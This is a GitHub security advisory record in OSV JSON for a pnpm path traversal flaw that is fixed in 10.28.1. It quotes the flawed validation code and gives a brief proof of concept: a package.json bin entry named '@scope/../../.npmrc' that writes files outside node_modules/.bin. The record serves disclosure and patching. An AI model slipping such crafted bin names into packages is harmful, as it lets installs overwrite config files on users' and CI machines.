{"id":"GHSA-xpqm-wm3m-f34h","summary":"pnpm scoped bin name Path Traversal allows arbitrary file creation outside node_modules/.bin","details":"### Summary\nA path traversal vulnerability in pnpm's bin linking allows malicious npm packages to create executable shims or symlinks outside of `node_modules/.bin`. Bin names starting with `@` bypass validation, and after scope normalization, path traversal sequences like `../../` remain intact.\n\n### Details\nThe vulnerability exists in the bin name validation and normalization logic:\n\n**1. Validation Bypass (`pkg-manager/package-bins/src/index.ts`)**\n\nThe filter allows any bin name starting with `@` to pass through without validation:\n\n```typescript\n.filter((commandName) =\u003e\n  encodeURIComponent(commandName) === commandName ||\n  commandName === '' ||\n  commandName[0] === '@'  // \u003c-- Bypasses validation\n)\n```\n\n**2. Incomplete Normalization (`pkg-manager/package-bins/src/index.ts`)**\n\n```typescript\nfunction normalizeBinName (name: string): string {\n  return name[0] === '@' ? name.slice(name.indexOf('/') + 1) : name\n}\n// Input:  @scope/../../evil\n// Output: ../../evil  \u003c-- Path traversal preserved!\n```\n\n**3. Exploitation (`pkg-manager/link-bins/src/index.ts:288`)**\n\nThe normalized name is used directly in `path.join()` without validation.\n\n### PoC\n1. Create a malicious package:\n```json\n{\n  \"name\": \"malicious-pkg\",\n  \"version\": \"1.0.0\",\n  \"bin\": {\n    \"@scope/../../.npmrc\": \"./malicious.js\"\n  }\n}\n```\n\n2. Install the package:\n```bash\npnpm add /path/to/malicious-pkg\n```\n\n3. Observe `.npmrc` created in project root (outside node_modules/.bin).\n\n### Impact\n- All pnpm users who install npm packages\n- CI/CD pipelines using pnpm\n- Can overwrite config files, scripts, or other sensitive files\n\nVerified on pnpm main @ commit 5a0ed1d45.","aliases":["CVE-2026-23890"],"modified":"2026-02-03T03:06:15.209571Z","published":"2026-01-26T21:02:39Z","database_specific":{"github_reviewed_at":"2026-01-26T21:02:39Z","nvd_published_at":"2026-01-26T22:15:56Z","cwe_ids":["CWE-23"],"severity":"MODERATE","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/pnpm/pnpm/security/advisories/GHSA-xpqm-wm3m-f34h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23890"},{"type":"WEB","url":"https://github.com/pnpm/pnpm/commit/8afbb1598445d37985d91fda18abb4795ae5062d"},{"type":"PACKAGE","url":"https://github.com/pnpm/pnpm"},{"type":"WEB","url":"https://github.com/pnpm/pnpm/releases/tag/v10.28.1"}],"affected":[{"package":{"name":"pnpm","ecosystem":"npm","purl":"pkg:npm/pnpm"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"10.28.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-xpqm-wm3m-f34h/GHSA-xpqm-wm3m-f34h.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N"}]}